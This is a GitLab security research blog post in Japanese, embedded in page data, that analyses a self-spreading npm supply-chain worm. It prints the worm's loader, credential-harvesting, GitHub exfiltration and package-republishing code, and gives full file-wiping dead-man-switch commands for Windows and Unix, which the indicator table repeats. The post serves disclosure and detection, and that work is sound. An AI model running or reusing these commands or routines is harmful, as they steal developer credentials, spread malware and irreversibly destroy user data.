duo",{"altText":410,"config":427},{"src":412,"dataGaName":413,"dataGaLocation":408},{"altText":410,"config":429},{"src":416,"dataGaName":413,"dataGaLocation":408},{"button":431,"mobileIcon":436,"desktopIcon":438},{"text":432,"config":433},"/switch",{"href":434,"dataGaName":435,"dataGaLocation":408},"#contact","switch",{"altText":410,"config":437},{"src":412,"dataGaName":413,"dataGaLocation":408},{"altText":410,"config":439},{"src":440,"dataGaName":413,"dataGaLocation":408},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":442,"mobileIcon":447,"desktopIcon":449},{"text":443,"config":444},"料金ページに戻る",{"href":190,"dataGaName":445,"dataGaLocation":408,"icon":446},"back to pricing","GoBack",{"altText":410,"config":448},{"src":412,"dataGaName":413,"dataGaLocation":408},{"altText":410,"config":450},{"src":416,"dataGaName":413,"dataGaLocation":408},{"title":452,"button":453,"config":458},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":454,"config":455},"GitLab Transcendを今すぐ視聴",{"href":456,"dataGaName":457,"dataGaLocation":46},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":459,"icon":460,"disabled":30},"release","AiStar",{"data":462},{"text":463,"source":464,"edit":470,"contribute":475,"config":480,"items":485,"minimal":688},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":465,"config":466},"ページのソースを表示",{"href":467,"dataGaName":468,"dataGaLocation":469},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":471,"config":472},"このページを編集",{"href":473,"dataGaName":474,"dataGaLocation":469},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":476,"config":477},"ご協力をお願いします",{"href":478,"dataGaName":479,"dataGaLocation":469},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":481,"facebook":482,"youtube":483,"linkedin":484},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[486,531,584,627,654],{"title":188,"links":487,"subMenu":502},[488,492,497],{"text":489,"config":490},"プランの表示",{"href":190,"dataGaName":491,"dataGaLocation":469},"view plans",{"text":493,"config":494},"Premiumを選ぶ理由",{"href":495,"dataGaName":496,"dataGaLocation":469},"/ja-jp/pricing/premium/","why premium",{"text":498,"config":499},"Ultimateを選ぶ理由",{"href":500,"dataGaName":501,"dataGaLocation":469},"/ja-jp/pricing/ultimate/","why ultimate",[503],{"title":53,"links":504},[505,507,509,511,516,521,526],{"text":53,"config":506},{"href":55,"dataGaName":56,"dataGaLocation":469},{"text":362,"config":508},{"href":364,"dataGaName":365,"dataGaLocation":469},{"text":367,"config":510},{"href":369,"dataGaName":370,"dataGaLocation":469},{"text":512,"config":513},"ステータス",{"href":514,"dataGaName":515,"dataGaLocation":469},"https://status.gitlab.com/","status",{"text":517,"config":518},"利用規約",{"href":519,"dataGaName":520,"dataGaLocation":469},"/terms/","terms of use",{"text":522,"config":523},"プライバシーに関する声明",{"href":524,"dataGaName":525,"dataGaLocation":469},"/ja-jp/privacy/","privacy statement",{"text":527,"config":528},"Cookie 優先設定",{"dataGaName":529,"dataGaLocation":469,"id":530,"isOneTrustButton":30},"cookie preferences","ot-sdk-btn",{"title":91,"links":532,"subMenu":541},[533,537],{"text":534,"config":535},"DevSecOpsプラットフォーム",{"href":73,"dataGaName":536,"dataGaLocation":469},"devsecops platform",{"text":538,"config":539},"AI支援開発",{"href":80,"dataGaName":540,"dataGaLocation":469},"ai-assisted development",[542],{"title":543,"links":544},"トピック",[545,549,554,559,564,569,574,579],{"text":109,"config":546},{"href":547,"dataGaName":548,"dataGaLocation":469},"/ja-jp/topics/ci-cd/","cicd",{"text":550,"config":551},"GitOps",{"href":552,"dataGaName":553,"dataGaLocation":469},"/ja-jp/topics/gitops/","gitops",{"text":555,"config":556},"DevOps",{"href":557,"dataGaName":558,"dataGaLocation":469},"/ja-jp/topics/devops/","devops",{"text":560,"config":561},"バージョン管理",{"href":562,"dataGaName":563,"dataGaLocation":469},"/ja-jp/topics/version-control/","version control",{"text":565,"config":566},"DevSecOps",{"href":567,"dataGaName":568,"dataGaLocation":469},"/ja-jp/topics/devsecops/","devsecops",{"text":570,"config":571},"クラウドネイティブ",{"href":572,"dataGaName":573,"dataGaLocation":469},"/ja-jp/topics/cloud-native/","cloud native",{"text":575,"config":576},"コーディングのためのAI",{"href":577,"dataGaName":578,"dataGaLocation":469},"/ja-jp/topics/devops/ai-for-coding/","ai for coding",{"text":580,"config":581},"エージェント型AI",{"href":582,"dataGaName":583,"dataGaLocation":469},"/ja-jp/topics/agentic-ai/","agentic ai",{"title":585,"links":586},"ソリューション",[587,590,592,597,601,604,607,610,612,614,617,622],{"text":134,"config":588},{"href":129,"dataGaName":589,"dataGaLocation":469},"Application Security Testing",{"text":121,"config":591},{"href":105,"dataGaName":106,"dataGaLocation":469},{"text":593,"config":594},"アジャイル開発",{"href":595,"dataGaName":596,"dataGaLocation":469},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":598,"config":599},"SCM",{"href":118,"dataGaName":600,"dataGaLocation":469},"source code management",{"text":109,"config":602},{"href":111,"dataGaName":603,"dataGaLocation":469},"continuous integration & delivery",{"text":160,"config":605},{"href":162,"dataGaName":606,"dataGaLocation":469},"value stream management",{"text":550,"config":608},{"href":609,"dataGaName":553,"dataGaLocation":469},"/ja-jp/solutions/gitops/",{"text":173,"config":611},{"href":175,"dataGaName":176,"dataGaLocation":469},{"text":178,"config":613},{"href":180,"dataGaName":181,"dataGaLocation":469},{"text":615,"config":616},"公共機関",{"href":185,"dataGaName":186,"dataGaLocation":469},{"text":618,"config":619},"教育",{"href":620,"dataGaName":621,"dataGaLocation":469},"/ja-jp/solutions/education/","education",{"text":623,"config":624},"金融サービス",{"href":625,"dataGaName":626,"dataGaLocation":469},"/ja-jp/solutions/finance/","financial services",{"title":193,"links":628},[629,631,633,635,638,640,642,644,646,648,650,652],{"text":205,"config":630},{"href":207,"dataGaName":208,"dataGaLocation":469},{"text":210,"config":632},{"href":212,"dataGaName":213,"dataGaLocation":469},{"text":215,"config":634},{"href":217,"dataGaName":218,"dataGaLocation":469},{"text":220,"config":636},{"href":222,"dataGaName":637,"dataGaLocation":469},"docs",{"text":243,"config":639},{"href":245,"dataGaName":246,"dataGaLocation":469},{"text":238,"config":641},{"href":240,"dataGaName":241,"dataGaLocation":469},{"text":248,"config":643},{"href":250,"dataGaName":251,"dataGaLocation":469},{"text":256,"config":645},{"href":258,"dataGaName":259,"dataGaLocation":469},{"text":261,"config":647},{"href":263,"dataGaName":264,"dataGaLocation":469},{"text":266,"config":649},{"href":268,"dataGaName":269,"dataGaLocation":469},{"text":271,"config":651},{"href":273,"dataGaName":274,"dataGaLocation":469},{"text":276,"config":653},{"href":278,"dataGaName":279,"dataGaLocation":469},{"title":294,"links":655},[656,658,660,662,664,666,668,672,677,679,681,683],{"text":301,"config":657},{"href":303,"dataGaName":296,"dataGaLocation":469},{"text":306,"config":659},{"href":308,"dataGaName":309,"dataGaLocation":469},{"text":314,"config":661},{"href":316,"dataGaName":317,"dataGaLocation":469},{"text":319,"config":663},{"href":321,"dataGaName":322,"dataGaLocation":469},{"text":324,"config":665},{"href":326,"dataGaName":327,"dataGaLocation":469},{"text":329,"config":667},{"href":331,"dataGaName":332,"dataGaLocation":469},{"text":669,"config":670},"Sustainability",{"href":671,"dataGaName":669,"dataGaLocation":469},"/sustainability/",{"text":673,"config":674},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":675,"dataGaName":676,"dataGaLocation":469},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":334,"config":678},{"href":336,"dataGaName":337,"dataGaLocation":469},{"text":344,"config":680},{"href":346,"dataGaName":347,"dataGaLocation":469},{"text":349,"config":682},{"href":351,"dataGaName":352,"dataGaLocation":469},{"text":684,"config":685},"現代奴隷制の透明性に関する声明",{"href":686,"dataGaName":687,"dataGaLocation":469},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":689},[690,692,695],{"text":517,"config":691},{"href":519,"dataGaName":520,"dataGaLocation":469},{"text":693,"config":694},"Cookieの設定",{"dataGaName":529,"dataGaLocation":469,"id":530,"isOneTrustButton":30},{"text":522,"config":696},{"href":524,"dataGaName":525,"dataGaLocation":469},[698],{"id":699,"title":9,"body":28,"config":700,"content":702,"description":28,"extension":27,"meta":706,"navigation":30,"path":707,"seo":708,"stem":709,"__hash__":710},"blogAuthors/en-us/blog/authors/grant-hickman.yml",{"template":701},"BlogAuthor",{"name":9,"config":703},{"headshot":704,"ctfId":705},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682570/Blog/Author%20Headshots/g.png","ghickman",{},"/en-us/blog/authors/grant-hickman",{},"en-us/blog/authors/grant-hickman","3OY7ZjUzeOb_im7m1kimID61q_0OEhuzipAc3AHq2WM",[712],{"content":713,"config":725},{"heroImage":714,"body":715,"authors":716,"updatedDate":719,"date":720,"title":721,"tags":722,"description":724,"category":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[717,718],"Michael Henriksen","Daniel Abeles","2025-12-01","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[22,723],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":30,"template":14,"slug":726},"gitlab-discovers-widespread-npm-supply-chain-attack",{"promotions":728},[729,743,754,765],{"id":730,"categories":731,"header":733,"text":734,"button":735,"image":740},"ai-modernization",[732],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":736,"config":737},"Get your AI maturity score",{"href":738,"dataGaName":739,"dataGaLocation":246},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":741},{"src":742},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":744,"categories":745,"header":746,"text":734,"button":747,"image":751},"devops-modernization",[23,568],"Are you just managing tools or shipping innovation?",{"text":748,"config":749},"Get your DevOps maturity score",{"href":750,"dataGaName":739,"dataGaLocation":246},"/assessments/devops-modernization-assessment/",{"config":752},{"src":753},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":755,"categories":756,"header":757,"text":734,"button":758,"image":762},"security-modernization",[22],"Are you trading speed for security?",{"text":759,"config":760},"Get your security maturity score",{"href":761,"dataGaName":739,"dataGaLocation":246},"/assessments/security-modernization-assessment/",{"config":763},{"src":764},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":766,"paths":767,"header":770,"text":771,"button":772,"image":777},"github-azure-migration",[768,769],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":773,"config":774},"See how GitLab compares to GitHub",{"href":775,"dataGaName":776,"dataGaLocation":246},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":778},{"src":753},{"header":780,"blurb":781,"button":782,"secondaryButton":786},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":48,"config":783},{"href":784,"dataGaName":51,"dataGaLocation":785},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/ja-jp/","feature",{"text":53,"config":787},{"href":55,"dataGaName":56,"dataGaLocation":785},1777493639491]